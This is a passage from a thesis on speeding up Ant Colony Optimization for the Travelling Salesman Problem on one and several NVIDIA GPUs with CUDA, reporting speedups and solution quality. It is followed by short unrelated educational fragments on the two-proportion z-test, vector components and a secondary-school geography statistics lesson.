warp should access consective data elements in global memory. Shared memory is also more effective when accessed in a coalesced manner. Siegel et. al. suggest allocating memory in a structure of arrays (SoA) rather than an array of structures (AoS), so related data is contiguous in memory. They show a 30-50% improvement of performance between such memory schemes. The difference between SoA and AoS is illustrated in the figure below, where x, y, and z are data elements in a structure. In the first array, the data is structured in a SoA while in the second it is structured in a AoS.\n\n## Figure 3: An example of coalesced versus uncoalesced memory access.\n\n27\n\n3.2.1\n\nMemory Transfer\n\nAnother important aspect of memory coalescing is minimizing the amount of memory communication between the GPU and host. Since a memory transfer can take a significant amount of time, minimizing the amount of transfers is crucial to achieving good performance. For example, structures with pointers inside them cannot be transferred to and from the GPU as is, since pointers on the GPU cannot point into memory locations on the host device. It would be neccessary to individually copy every array from each struct to the GPU in such a case. This could lead to many memory copies per kernel run, which is highly inefficient. In my first CUDA implementation of ACO for the Travelling Salesman Problem, I solve this problem by consolidating the initial array allocation into one large array, and then having the structures point into the single array. Using this technique, the structures maintain the same functionality as the host side while minimizing memory transfers to one. The initial ACO implementation uses the technique of copying data between the host and the GPU, since it does not require an unmanageable amount of memory transfers. In my later implementation, I remove all memory transfers but one.\n\n3.3\n\nSynchronization Issues\n\nEven coarse-grained algorithms, which are especially suitable for parallization because they require little communication between threads, may need to synchronize at certain points. The easiest way to handle this problem is to transfer the memory back\n\n28\n\nto the host and handle the synchronization with CPU code. However, this may not always be ideal, especially if this causes a large amount of memory transfers between the host and the GPU. CUDA suports synchronization only within thread blocks. This is accomplised with the use of barriers, where all threads will stop computing and wait at a barrier until all the threads in a block have reached the same point. Synchronization in between thread blocks can be done with the use of multiple kernel calls. In subsequent kernels, a parallel reduction technique can be used to merge data from other thread blocks.\n\n3.4\n\n## CUDA for Evolutionary Computing\n\nMany researchers have begun to realize the benefits of using CUDA for paralleling their applications and reducing execution time. In the field of evolutionary computing, which the ACO algorithm falls under, several algorithms have shown notable gains using GPUs. For example, Tsutsui and Fujimoto showed a 3-12x speedup when using CUDA to parallelize a genetic algorithm. Franco, Krasnogor, and Bacardit achieved an improvement of over 50x when applying CUDA to the BioHEL evolutionary learning system. These types of performance gains are good and make using GPUs an interesting option for these types of algorithms.\n\n29\n\nChapter 4 INITIAL IMPLEMENTATION My initial implementation of the CUDA ACO algorithm for TSP consisted of porting only the construction stage of the algorithm, because it is where the majority of the computation occurs. Every ant in the ACO algorithm (which each creates one tour) is run as a thread within a CUDA kernel.\n\n4.1\n\n## Analyzing the Original Code\n\nMy initial parallel ACO implementation was done using CUDA and the ACOTSP package , a well-known ACO implementation. The ACOTSP package is a C implementation of the ACO algorithm used for solving Travelling Salesman Problems (TSP). The ACOTSP package was chosen because it is a highly-tuned sequential version of ACO and because it has many features, such as supporting multiple pheromone update functions and providing flexibility through command line options. It also provided a proven sequential version of code to compare my parallel implementation. Before porting the code, the relative computation time of the ACOTSPs functions was analyzed using the gprof profiler . It was found that the majority of\n\n30\n\ncomputation was spent in the construction phase of the algorithm, which took at least 80% of the execution time. After disabling functions to compute and output various non-essential statistics pertaining to the algorithms performance, analysis of the results found that the construction phase took over 90% of the execution time. Therefore the construction phase of the package was ported to CUDA. This allowed for improved performance while maintaining the ability to use different pheromone update functions as desired. Speedups of up to 10x were achieved with my initial parallel implementation over the sequential one, just from performing the construction stage in parallel.\n\n4.2\n\nTSPLIB\n\nThe experiments in this paper use problems exclusively from TSPLIB, a widely known library of TSP problems . The ACOTSP package supports parsing of the TSP files in this library. Another useful feature of TSPLIB is that the optimal solutions of the problems are documented within the library. Due to this being a popular source for TSPs, many other research papers explore the TSP instances defined within TSPLIB. Only strongly connected instances of TSP were chosen from the TSPLIB, though both symmetric and asymmetric TSPs were analyzed.\n\n31\n\n4.3\n\n## Issues in GPU Programming\n\nThis section describes some of the issues that arose when converting the sequential construction stage to run on the GPU.\n\n4.3.1\n\nMemory Coalescing\n\nA big issue with porting to CUDA is having memory coalesced for transfers between the host and the GPU. Since a memory transfer can take a significant amount of time, minimizing the amount of transfers is crucial to getting good performance. The ACOTSP package uses a C structure called ant_struct, which contains two pointers to arrays. One array holds the solution constructed for each ant, the other array is a flag array to determine what cities have been visited during the construction step. Transferring these structures as is would require an unreasonable amount of transfers, since each pointer needs to be transferred individually. Structures with pointers inside them cannot be transferred to and from the GPU as is, since pointers on the GPU cannot point into memory locations on the host device. Many memory transfers per iteration would lead to poor performance. To solve this problem, all fields in the structures were allocated as large consecutive arrays. Then, when the structures were created, a portion of this array was assigned to the pointer in the respective structure. Figure 4 below helps to illustrate this process. Then, the arrays can be copied in one memory transfer operation, and the proper sections can be referred to using offsets. This technique was also used for\n\n32\n\narrays of floats. This allowed for efficient memory transfers while maintaining compatibility with the original functions. Note that if improper indexing occurs, incorrect results can be obtained with buffer overflows. However, bugs such as these would generally lead to segmentation faults as well, so these bugs are easy to identify and correct.\n\nFigure 4: Shows how the memory from a structure may be mapped into a single array for use on a GPU.\n\n4.3.2\n\nAn important issue with the parallel ACO algorithm is that it is impossible to program the kernel to guarantee thread convergence. This is because of the stochastic nature of the algorithm. Since each ant/thread will have a different partial solution in memory, the future cities it will be checking are different for each thread. Then when accessing the probabilities to access each city from the memory, there is no guarantee\n\n33\n\nthose values are physically close in memory. One thread may be looking at one edge on the complete other side of the total matrix. Since the probability matrix is of size n2, where n is the number of cities in the TSP, accessing the edges in different areas of the matrix will lead to thread divergence. Therefore, thread divergence is likely unavoidable between the threads.\n\n4.3.3\n\n## Random Number Generation\n\nA key part of the ACO algorithm is the usage of a Random Number Generator (RNG) to select cities in the construction step. Random number generation in CUDA cannot have threads modifying the same seed to avoid race conditions. Also, every thread must have an original seed, otherwise each thread will calculate the same values. This is because if given the same starting seed a RNG will generate the same sequence of numbers. A good random number generator must also have a good distribution of values within the bounds given. The original ACOTSP package RNG used a common seed, which was not a problem with sequential code but did not work with a parallel implementation. For my initial implementation, a Linear Congruential Generator with a Combined Tausworthe Generator (as described in GPU Gems 3) was used . When the research began, there were not many RNG packages for GPU computing. In the second and multi-GPU implementations, I used NVIDIAs recently developed RNG package .\n\n34\n\n4.4\n\nAbstraction of Implementation\n\nMy program uses parallelism at level of each individual ant. That is, each ant is given its own thread to run on a stream processor. Each stream processor is part of a multiprocessor that executes a thread block. For performance reasons, I ran thread blocks of 256 threads (and therefore 256 ants). The probability matrix is copied to the GPU before each iteration is run. Each ant constructs its own solution to the TSP problem on the GPU, and then the GPU returns all the tours to the CPU for completion of the algorithm. Figure 5 shows the high-level structure of the CUDA version of the algorithm, which is similar to the ACO pseudo-code shown earlier. Before the main loop, structures and arrays are allocated to hold the pheromones and tours constructed by each individual ant. The loop in Figure 5 repeats until the time limit set for the algorithm has expired. My implementation uses time as the termination condition. Initialize_GPU_memory_and_constants(); while( !termination_condition() ) { copy_data_to_GPU(); // executes construction stage for each ant in colony runTSP(); copy_data_from_GPU(); daemon_actions(); // any supported pheromone update function // supported by the ACOTSP package pheromone_update(); } Figure 5: Pseudo-code of the algorithm when running the construction stage on the GPU.\n\n35\n\n4.5\n\nPlatform\n\nThe experiments were performed using three different GPUs, the TeslaC870 GPU, TeslaC2050 GPU, and the Tesla C1060 GPU. The Tesla line of cards is NVIDIAs first offering of general-purpose computing GPUs. The C870 is the first offering, which only supports CUDA compute capability 1.0 and has 128 stream processors split across 16 multiprocessors with 1.5GB of memory. The C1060 has 240 stream processors split among 30 multiprocessors and 4GB of memory. The C2050 is based on NVIDIAs new Fermi architecture, and has 448 stream processors among 14 multiprocessors and 3GB of memory. It supports compute capability 2.0. I use Xeon processors to execute the original sequential version of the ACOTSP package. Results were normalized using the Intel Xeon E5335 2.0Ghz processor paired with 2GB memory for the C870, and a Xeon E5530 2.4Ghz processor with 24GB of memory for the C2050 and C1060.\n\n4.6\n\n## Experiments and Results\n\nI varied two variables in our experiments: problem size and the size of the ant colony (i.e., the number of ants used to find tours). For each of these combinations, ten trials was performed on each platform. While the original ACOTSP package has support for several different types of pheromone update functions, I used only the max-min variation for my experiments. Even though my version works with the other types of pheromone update functions, I found the difference in speed and solution\n\n36\n\nquality was consistent between the different pheromone functions. For the ACO parameters, Alpha was set to 1, Beta was set to 2, and Rho was set to 0.5. The program had a max memory usage of 1GB. For my graphs, I test each problem/ant combination for a timed interval, and then average the results. Speedups were calculated by enumerating the number of iterations per second and then comparing the execution times for the same number of iterations between the sequential and parallel versions. Figure 6 shows my results for the symmetric problems. The results show a definite improvement in execution time when using our CUDA implementation over the sequential CPU implementation on large sized graphs and a high number of ants. As I increase the problem size the performance gap between the CPU implementation and the CUDA implementation also increases. Since the construction step in the ACO algorithm is general and applicable to many pheromone update functions, these speedups are achievable for several variations of the ACO algorithm.\n\n37\n\nFigure 6: Speedup gained from running the initial implementation over the sequential algorithm on different problem sizes. Each graph represents a different number of ants.\n\n4.7\n\n## Asymmetric TSP Results\n\nThe original ACOTSP package supported only symmetric TSP graphs. However, there are many asymmetric graph problems in TSPLIB. The package was then modified to support running on asymmetric TSPs. First the parser was changed to\n\n38\n\nsupport TSPLIBs file format for asymmetric problems. Different functions that assumed symmetry in the programs matrices, such as pheromone evaporation, were modified to support asymmetric problems. The results achieved for asymmetric graphs are posted below in Figure 7. I used the same methodology for experiments as the symmetric graphs.\n\nFigure 7: Speedup gained from running the initial implementation over the sequential algorithm on asymmetric problems. Each graph represents a different number of ants.\n\n39\n\n4.8\n\nAnalysis of Results\n\nI highlight some of the results show in Figures 6 and 7. For example, the C2050 does not always outperform the older cards, especially at smaller problem sizes of under 1000 cities. A possibility for this is that the extra computational power of the newer card is not being fully utilized at these sizes. However, for large city sizes, e.g., over 1000, the C2050 gets significant performance improvements over the sequential code, and its speedups are much greater than the other two cards. For symmetric problems and the smaller ant colony size of 1024, our GPUs only achieve a performance improvement of up to 3x. For larger city sizes and older GPU models, I see a slowdown over the sequential version. I am currently investigating this anomaly. However, for symmetric problems and ant colony sizes above 1024, I consistently see good speedups especially for the newer GPUs based on the Fermi architecture. I can achieve speedups of almost 11x compared to a highly-tuned sequential version of ACO. For all the ATSP problem sizes, the speedups are relatively similar between the three cards. Overall, the newer card Fermi-based GPU performs better than the older GPUs. A possible reason the Fermi-based GPUs may achieve such better performance at larger city sizes is they may handle thread divergence better. The Fermi cards have a new memory architecture that works better with divergent memory accesses between threads. For larger problem sizes, it becomes much more likely that threads will become divergent between memory accesses because there is a much larger memory\n\n40\n\nspace, and each thread can be accessing information anywhere in the probability matrix.\n\n41\n\nChapter 5 SECOND IMPLEMENTATION By porting the construction step to a GPU, there was definitely an improvement in performance. However, it is possible that even better speedup can be achieved. If an estimate that only 10% of the execution time is done sequentially outside the construction stage, the execution time is bounded by a maximum 10x speedup if Amdahls Law is applied. While the sequential execution time is really between 510%, the rest of the algorithm can still be optimized for a significant overall speedup. By porting the rest of the algorithm to the GPU there is a two-fold benefit. First of all, the parallelism in the remaining functions in the algorithm can be further exploited. For example, each ant can calculate its own tour value in parallel. Secondly, all but one memory transfer between the GPU and CPU can be eliminated. Only the best tour would ever need to be transferred back and forth. Both these factors should increase the overall performance of the ACO algorithm.\n\n5.1\n\n## Calculating the Best Tour\n\nOne part of the ACO algorithm that could be ported is the ability to find the best tour. To find the overall best tour on the GPU, we can have each ant must evaluate its\n\n42\n\nown tour value in parallel. This involves running a kernel that simply sums the distances values in each tour. The next step is to somehow compare these tour values in parallel to calculate the best one. To do this a parallel reduction step is necessary. This is somewhat tricky to do in our case for two reasons. First, indexing for the tour values must be preserved to be able to link it to the corresponding tour it represents. Secondly, there is no thread synchronization between blocks, which means multiple kernels must be used. To solve the problem of index preservation, a second array that holds the original index values of the tour values is used. Then when two tour values in the parallel reduction step are swapped, the original index values are swapped as well. In this manner the index of the tour the value corresponds to can be tracked. To solve the problem of thread synchronization, the reduction step first runs only between threads in each block. After that kernel completes, another kernel is executed that performs a reduction step on the previous kernels results to find the best overall tour.\n\n5.2\n\nPheromone Updating\n\nThe MAX-MIN update system was used on the GPU for updating the pheromones in each iteration; this algorithm uses the best ant from each iteration to update the values. Stutlze achieves good performance using this system and shows it is a good update strategy. When evaporating pheromones and maintaining trail bounds on the GPU,\n\n43\n\nk blocks of size of 32 are run, where k is the number of cities to the next power of 2 divided by 32. A global id is then generated by multiplying the block id times 32 plus the thread id within the block. Threads with global ids greater than the number of cities are ignored. Each thread updates n edges, where n is equal to the number of cities. For the global update function we again run block sizes of 32, and k blocks. In this function, every edge updates one edge along the best path.\n\n5.3\n\n## Second Implementation Results\n\nFigure 8 shows the speedup over the CPU implementation when running the whole algorithm on the C2050 GPU for a number TSP problems and utilizing a variety of ants counts ranging from 256 to 8192. Using 256 ants is interesting because at this number only one thread block is running on the GPU for the construction stage. This means only one multiproccesor is executing on the GPU, yet the performance achieved is very similar to the performance of the CPU version. The results show a definite improvement in execution time when using a CUDA implementation over the sequential CPU implementation on large sized input sets and when utilizing a large number of ants; the trial with the largest speedup of almost 16X uses the fnl4461 TSP city set as input with 8192 ants. The results show that when increasing the problem size, the performance gap between the CPU implementation and the CUDA implementation also increases. Also, performance may be limited by divergence between the threads. Due to the stochastic nature of the algorithm, threads\n\n44\n\nrunning in the same warp may be reading from completely different parts of the probability matrix.\n\nFigure 8: Speedup gained from the second implementation over the sequential implementation. Each graph represents a different number of ants.\n\n5.4\n\nSolution Quality\n\nSolution quality was tested to make sure the implementations were providing good solutions. Solution quality between the first and second implementation was similar.\n\n45\n\nFor testing solution quality, ten trials were run and capped the execution time at 5 minutes per a trial. Values of alpha = 1, beta = 2, and rho = 0.5 were used. Each trial ran with 1024 ants in testing the quality of the solutions. To compute how accurate the experimental results were, RPD, or the relative percent deviation was used. RPD is calculated using the following formula:\n\nThe costactual is the optimal tour value for the problem and the costbest is the tour value found by the ACO algorithm. The ACO algorithm was run for four different problems and the following results were found:\n\nTable 1: A table showing the max and average RPD results for the second implementation on different problem sizes. Both the max RPD and the average RPD are considered. The max RPD signifies the RPD for the best solution found out of all the trials. The average RPD is done using the average of the solutions found from all our trials for that problem. The results are\n\n46\n\nconsistent with the RPD achieved in both the sequential and the initial implementations for the same amount of iterations.\n\n47\n\nChapter 6 MULTI-GPU IMPLEMENTATION A possible improvement to my original implementations was a multi-GPU implementation. The idea behind a multi-GPU approach is to split up the work among several GPUs and then combine the results together. The initial implementation I developed of a multi-GPU approach was to split the work up of the ants. This meant that each GPU would run its own collection of ants. The main idea here is to see if the program benefits from further parallelism among ants. This approach could also be easily extended to a multi-colony approach. This would require giving each GPU kernel its own pheromone matrix. Then problem parameters, such as alpha, beta, rho, the number of neighbors, etc. could be different for each of the GPUs. Another approach to a multi-GPU implementation would be to split up the domain space. This would mean each GPU would create segments of a candidate solution and work on a subset of the cities. This could improve execution performance, since each GPU would be splitting the work. This would also allow execution of bigger problem sizes. Note, after reaching a TSP size of about 8000 cities, a 1GB GPU would runs of memory. However, by splitting the cities up into subsets, and finding a path for each subset on the GPU, bigger problem sizes may be possible. This is a big factor, since\n\n48\n\nbigger problems are where performance is more of an issue. This type of decomposition may have a negative effect on the solution quality, since it reduces the search space by not searching edges that exist between the subsets of cities.\n\n6.1\n\nWhen running a multi-GPU program, each kernel call must be on a separate CPU thread. This is because every time a kernel function is called, the thread calling it will block until the kernel terminates. Therefore multiple CPU threads are required to run multiple kernel calls. The CPU threading is OS dependent, but all that is needed is the ability to run CPU threads and then wait for them to terminate collectively. To distinguish between multiple GPUs, every GPU installed on a machine is designated by an integer value. There exist CUDA functions that allow for managing which GPU to execute the kernels on. When creating a multi-GPU implementation, every GPU needs its own device pointers for its problem dependent memory allocations. We handle this by encapsulating all the memory requirements for a kernel into a structure. In an initialization stage, determine the problem information each GPU will need and create the appropriate structure. Then pass the appropriate structure to each thread, let each thread initialize the GPU it will execute the kernel on, and then allocate the memory with the structure. Then each GPU should be able to run the correct kernel call.\n\n49\n\n6.2\n\nMulti-GPU Results\n\nWe implemented a multi-GPU version that splits up both the ants and the cities. The algorithm evenly splits the ants evenly among the GPUs. It also naively splits the cities among the GPUs based on their sequential location in the input file. So if there are n cities and x amount of GPUs, the first n/x cities in the input file are put on the first GPU, the next n/x on the second GPU, and so on until all the cities have been assigned to a GPU. The best paths within each subset of cities are then connected to form the whole tour after the algorithm runs. The existence of an edge between the subsets can be guaranteed because the graph is strongly connected, allowing for the construction of a complete tour. Scott Grauer-Gray, a graduate student at University of Delaware, assisted in the coding and development of the multi-GPU implementation. Scott developed the majority of the code that splits the work along the cities. This implementation should have the benefit of increased execution time and allow for testing of larger problem sizes. In our experiments, we run each trial for two minutes. The same values of alpha, beta, and rho are used as in our previous experiments (1, 2, and 0.5 respectively). The GPUs used were all Tesla C2050s. The following execution time results were obtained:\n\n50\n\nFigure 9: A graph showing the number of iterations per a minute the multi-GPU version runs at for different number of GPUs.\n\nThe 1 GPU test speed is similar to the results in the previous single GPU implementation. The speedup results show an approximate speedup of 4x every time we doubled the number of GPUs. This is because there is a twofold benefit from the optimization one doubling for splitting the cities, another for splitting the ants. However, solution quality must be analyzed here, because we reduce the solution space by creating subsets of cities, possibly removing good solutions. RPD was computed as described before and these results were achieved:\n\n51\n\nTable 2: Shows the RPD for the multi-GPU implementation on a trial run of different problems. There results were achieved after only one trial and as such requires much more testing before being conclusive. These results show degradation in the solution quality with our multi-GPU ACO algorithm. The gaps in final solution quality between the GPUs may increase as the algorithm is run for longer periods of time.\n\n6.3\n\n## Improving the Multi-GPU Implementation\n\nThis implementation, while using a nave split and therefore suffering losses in solution quality, lays a framework for future work. More elaborate domain decomposition can be performed using a modified external memory approach, and splitting the cities up as segments of an already found good solution. This builds upon work done in previous external memory implementations as described in section 2.5 . This implementation also supports running different parameters and using a multi-colony approach such as done by Bai et al. . Also, Weiss , who implements an ACO algorithm for data mining on GPUs, mentions a multi-GPU approach as part of his future work section. This section is mainly to show that a\n\n52\n\nmulti-GPU approach can give even further performance improvement, especially in cases where a large number of ants are needed or the domain can be split in an intelligent way.\n\n53\n\nChapter 7 RELATED AND FUTURE WORK This chapter highlights other work published related to my research and plans for how to proceed with future research on the topic.\n\n7.1\n\nRelated Work\n\nThere have been promising results of parallel ACO implementations for specific problems. For TSP, Randall and Lewis developed a parallel version on a MIMD (Multiple Instruction Multiple Data) machine with MPI (Message Passing Interface). They proposed that the communication was slowing the implementation down and it would have benefited from a shared memory model over a distributed one. Shared memory model implementations have been developed using OpenMP for several different applications of ACO. For example, Delisle et al. implemented an OpenMP ACO algorithm to solve an industrial scheduling problem. Their implementation provided a 2x speedup with 2 processors and up to a 5x speedup with 16 processors. Bui et al. proposed a parallel ACO algorithm for the maximum clique problem. Their results ranged from a 40% performance increase on two\n\n54\n\nprocessors and up to 6x faster with an eight-core system. Both papers show the potential for a SIMD shared memory implementation of ACO algorithms. Recently, there have been a few papers on solving the TSP problem using CUDAimplementations of ACO. Bai et al. developed an implementation using MMAS (Max-Min Ant System). They achieve a 2.3x speedup, even though they performed a much larger workload on the GPU than the sequential version. Fu et al. published a recent paper using ACO to solve TSP problems. They achieve significant results by improving an ACO MATLAB implementation on TSP problems. They used the Jacket toolbox to improve over the sequential MATLAB implementation. Finally, the AntMiner system implements a parallel ACO algorithm for a data mining problem on GPUs using CUDA. Weiss achieves very good results in his implementation, gaining up to 100x performance in some cases. The fact that he achieves great results applying ACO to another problem on GPUs shows that many other problems may benefit from this type of platform/algorithm combination.\n\n7.2\n\nFuture Work\n\nMy analysis of the ACO algorithm on the TSPs looks at improving performance by exploiting parallelism inherent in the algorithm. While I achieve a significant increase, performance could still be improved. A more complex domain decomposition as described in Chapter 6 could be another research possibility. However, another possible avenue of research is applying parallel ACO algorithms to other NP-Hard\n\n55\n\nproblems. In the related work above, there were several papers that did just this and achieved good results. One possibility I looked at was applying a parallel ACO algorithm to the problem of instruction scheduling.\n\n7.2.1\n\n## ACO Instruction Scheduling\n\nIf a search algorithm can be used for solving the instruction scheduling problem, that means someone can probably apply ACO to solving instruction scheduling. The ACO algorithm could use the dependency time between instructions as the heuristic part of the probability equation. Then the instructions currently available for execution would be the local nodes used for picking the next element in the partial schedule. Pheromones would be laid down on the dependency edges between the instructions. There are several challenges to implementing parallel ACO for instruction scheduling. The algorithm would need to incorporate validating which edges are possible to select between iterations. The ACO algorithm would need to be given the amount of computing resources in the instruction pipeline. Also, evaluation of the instruction set could be a challenge. Different architectures may have different processing times for instructions, so the best way to evaluate the solutions would be an actual execution of the reordered instructions. If a large number of solutions was generated, this could be a very costly operation.\n\n56\n\nThere have already been several ACO implementations of instruction scheduling done using CUDA. One implementation done by Wang et al. manages to achieve better performance using a hybrid MAX-MIN ACO algorithm rather than just list scheduling. ACO has also been done for other types of scheduling problems. Socha et al. manages to get good performance for scheduling university courses using an MAX-MIN ACO algorithm as well.\n\n57\n\nChapter 8 CONCLUSION The research shows promising results. I achieve up to 10x speedup when porting the construction stage of the algorithm, and up to 16x speedup when porting the whole ACO algorithm while maintaining comparable solution quality per an iteration. The multi-GPU version achieves an additional speedup of 4x every time the number of GPUs is doubled, though solution quality suffers. These types of speedups are especially relevant to larger problem sizes, where each iteration of the ACO algorithm takes a large amount of time. I also provide a strong framework for future work in the topic. I proposed several ways for improving the multi-GPU implementation, and laid some groundwork for applying the ACO algorithm to the Instruction Scheduling problem. Further optimization may also be possible in the CUDA kernel. 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Parallel Implementation of an Ant Colony Optimization Metaheuristic with OpenMP. In International conference of parallel architectures and complication techniques (PACT), Proceedings of the third European workshop on OpenMP (EWOMP 2001), pages 8-12, Barcelona, Spain, September 8-9 2001. Thang N. Bui, ThanhVu Nguyen, and Joseph R. Rizzo, Jr.. 2009. Parallel shared memory strategies for ant-based optimization algorithms. In Proceedings of the 11th Annual conference on Genetic and evolutionary computation (GECCO '09). ACM, New York, NY, USA, 1-8. Hongtao Bai, Dantong OuYang, Ximing Li, Lili He, and Haihong Yu. 2009. MAX-MIN Ant System on GPU with CUDA. In Proceedings of the 2009 Fourth International Conference on Innovative Computing, Information and Control (ICICIC '09). IEEE Computer Society, Washington, DC, USA, 801-804. Jie Fu, Lin Lei, and Guohua Zhou. A parallel Ant Colony Optimization algorithm with GPU-acceleration based on All-In-Roulette selection. In Advanced Computational Intelligence (IWACI), 2010 Third International Workshop on, 260-264. Gang Wang, Wenrui Gong, and Ryan Kastner. 2005. Instruction scheduling using MAX-MIN ant system optimization. In Proceedings of the 15th ACM Great Lakes symposium on VLSI (GLSVLSI '05). ACM, New York, NY, USA, 44-49.\n\n61\n\n Marisabel Guevara, Chris Gregg, Kim Hazelwood, Kevin Skadron. \"Enabling Task Parallelism in the CUDA Scheduler,\" in Proceedings of the Workshop on Programming Models for Emerging Architectures (PMEA). Raleigh, NC. September 2009, pages 69-76. S. Grauer-Gray, J. Cavazos. Optimizing and Auto-tuning Belief Propagation on the GPU. In The 23rd International Workshop on Languages and Compilers for Parallel Computing (LCPC 2010) . John Nickolls, Ian Buck, Michael Garland, and Kevin Skadron. 2008. Scalable Parallel Programming with CUDA. Queue 6, 2 (March 2008), 40-53. Abid M. Malik, Tyrel Russell, Michael Chase, and Peter Beek. 2008. Learning heuristics for basic block instruction scheduling. Journal of Heuristics 14, 6 (December 2008), 549-569. Jakob Siegel, Juergen Ributzka, and Xiaoming Li. 2009. CUDA Memory Optimizations for Large Data-Structures in the Gravit Simulator. In Proceedings of the 2009 International Conference on Parallel Processing Workshops (ICPPW '09). IEEE Computer Society, Washington, DC, USA, 174-181. R.M.Weiss, Gpu-accelerated ant colony optimization, in: W.M.W. Hwu (Ed.), GPU Computing Gems: Emerald Edition, Applications of GPU Computing, Morgan Kaufmann, 2011, pp. 325340. Eliot Moss, Paul Utgoff, John Cavazos, Carla Brodley, David Scheeff, Doina Precup, and Darko Stefanovic;. 1998. Learning to schedule straight-line code. In\n\n62\n\nProceedings of the 1997 conference on Advances in neural information processing systems 10 (NIPS '97), Michael I. Jordan, Michael J. Kearns, and Sara A. Solla (Eds.). MIT Press, Cambridge, MA, USA, 929-935. The Traveling Salesman Problem: A Case Study in Local Optimization, D. S. Johnson and L. A. McGeoch, Local Search in Combinatorial Optimization, E. H. L. Aarts and J. K. Lenstra (editors), John Wiley and Sons, Ltd., 1997, pp. 215-310. Russell, Tyrell. Learning Instruction Scheduling Heuristics from Optimal Data. Masters thesis, University of Waterloo. 2006. Michael Sipser (1997). Introduction to the Theory of Computation. PWS Publishing. Sean Luke, 2009, Essentials of Metaheuristics, Lulu, available for free at http://cs.gmu.edu/~sean/book/metaheuristics/ 2001. Introduction to Algorithms (2nd ed.). MIT Press, Cambridge, MA, USA. Mark Harris. Mapping Computational Concepts to GPUs. In GPU Gems 2, Hubert Nguyen, chapter 31, Addison Wesley. Mason Woo, Jackie Neider, Tom Davis, Dave Shreiner, OpenGL Programming Guide: The Official Guide to Learning OpenGL, Version 1.2, Addison-Wesley Longman Publishing Co., Inc., Boston, MA, 1999 Krzysztof Socha, Joshua Knowles, and Michael Sampels. 2002. A MAX-MIN Ant System for the University Course Timetabling Problem. In Proceedings of the\n\n63\n\nThird International Workshop on Ant Algorithms (ANTS '02), Marco Dorigo, Gianni Di Caro, and Michael Sampels (Eds.). Springer-Verlag, London, UK, 1-13.\n\n64"
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https://vrcacademy.com/formulas/z-test-two-proportions/ | [
"## Two sample proportion test\n\nSuppose we want to compare two distinct populations $A$ and $B$ with respect to possessions of certain attribute among their members. Suppose take samples of sizes $n_1$ and $n_2$ from the population A and B respectively.\n\nLet $X_1$ and $X_2$ be the observed number of successes i.e., number of units possessing the attributes, from the two samples respectively.\n\nThe hypothesis testing problem can be setup as:\n\nSituation Hypothesis Testing Problem\nSituation A : $H_0: p_1=p_2$ against $H_a : p_1 < p_2$ (Left-tailed)\nSituation B : $H_0: p_1=p_2$ against $H_a : p_1 > p_2$ (Right-tailed)\nSituation C : $H_0: p_1=p_2$ against $H_a : p_1 \\neq p_2$ (Two-tailed)\n\n## Formula\n\nThe test statistic for testing $H_0$ is\n\n### $Z = \\frac{(\\hat{p}_1-\\hat{p}_2)-(p_1-p_2)}{SE(\\hat{p}_1-\\hat{p}_2)}$\n\nwhere\n\n• $\\hat{p}_1=\\frac{X_1}{n_1}$ be the observed proportion of successes in the sample from population $A$,\n\n• $\\hat{p}_2=\\frac{X_2}{n_2}$ be the observed proportion of successes in the sample from population $B$.\n\n• $SE(\\hat{p}_1-\\hat{p}_2) = \\sqrt{\\frac{\\hat{p}(1-\\hat{p})}{n_1}+\\frac{\\hat{p}(1-\\hat{p})}{n_2}}$ is the standard error of the difference between two proportions,\n\n• $\\hat{p} =\\dfrac{X_1 +X_2}{n_1 + n_2}$ is the pooled estimate of sample proportion.\n\nThe test statistic $Z$ follows standard normal distribution $N(0,1)$."
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https://www.physicsforums.com/threads/having-trouble.361718/ | [
"# Having trouble\n\nthe problem says:\n\nfind and state the component form of the following vectors.\nc= 3i + 4j P(0,0),Q(5,-2)\n\nfor some reason, i think i ended up doing unneccessary work. I found the Work of the problem instead, which is 7. Is work the same thing as component form? If not, what am I supposed to be looking for?\n\nRelated Precalculus Mathematics Homework Help News on Phys.org\nMark44\nMentor\nthe problem says:\n\nfind and state the component form of the following vectors.\nc= 3i + 4j P(0,0),Q(5,-2)\n\nfor some reason, i think i ended up doing unneccessary work. I found the Work of the problem instead, which is 7. Is work the same thing as component form? If not, what am I supposed to be looking for?\nWork? How does work enter into a problem that asks for the compenents?\n\nIf v = ai + bj, the horizontal component is a and the vertical component is b.\n\nIf v is the vector from P(a, b) to Q(c, d), v = (c - a)i + (d - b)j and its components are c -a and d - b."
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https://dukarahisi.com/topic-7-application-of-simple-statistics-geography-form-3/ | [
"Home GEOGRAPHY TOPIC 7: APPLICATION OF SIMPLE STATISTICS | GEOGRAPHY FORM 3\n\n# TOPIC 7: APPLICATION OF SIMPLE STATISTICS | GEOGRAPHY FORM 3\n\n2708\n4",
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"#### b. Inferential statistics it draws conclusions from data that are subject to random variation (e.g., observational errors, sampling variation). Descriptive statistics are most often concerned with two sets of properties of a distribution (sample or population).\n\nSTATISTICAL DATA\nData refers to the actual pieces of information collected through your study. For example, if you ask five of your friends how many pets they own, they might give you the following data: 0, 2, 1, 4, 18. Also data defined as facts or figures from which conclusions may be drawn. Datum is the singular form of the noun data.\n\n#### Occupational Prestige (12-96) Ratio Indicates a difference, the direction of the difference, the amount of the difference in equal intervals, an absolute zero Temperature in Kelvin Income Years of schooling\n\nVARIABLE\nA variable is anything or characteristic that data may have, or an attribute which changes in value under given conditions. Variables include population size, age, sex, altitude, temperature and time.\n\n#### For example the higher the attitude the lower the temperature and vise versa, for that reason increase or decrease of temperature depends on attitude.\n\nDATA PRESENTATION\nData presentation refers to the process of organizing data and presenting them into different forms such as line graphs, pie chart, bar proportional diagrams, polygons and others.\n\nGRAPHICAL DATA\nAfter data have been collected, the next step is to present the data in different ways and forms. Some of the forms in which the data may be presented include charts, graphs, lists, diagrams, tables, essays, graphs, histograms, and even sketches.\n\nLINE (LINEAR) GRAPHS\nLine graphs have unique properties that distinguish them from other graphs. The properties of line graphs are as follows: General procedure to present data using line graphs\na. Get the data needed for plotting the graph.\nb. Identify the independent and dependent variable. Statistically, the independent variables are placed on the x-axis while the dependent variables are placed on the y-axis.\nc. Decide on the vertical scale depending on the graph space and values of the independent variable available.\nd. Decide on the horizontal spacing of the graph according to graph space available.\ne. Draw and divide the vertical and horizontal axes depending on the respective scales.\nf. Plot and join the points to get the graph.\ng. Write the title of the graph you have drawn.\nh. Indicate the scale of the graph.\ni. Show the key for the graph where necessary\n\nLine graphs can be sub-divided into the following categories.\na. Simple line graphs\nb. Group (comparatives) line graphs\nc. Compound line graphs\nd. Divergent line graphs\n\nSimple line graph Construction procedure:\nUse the following table which shows the average monthly temperature recorded in a certain weather station: Average monthly temperature for station X Month Jan Feb Mar Apr May Jun Jul Aug Sept Oct Nov Dec Temp 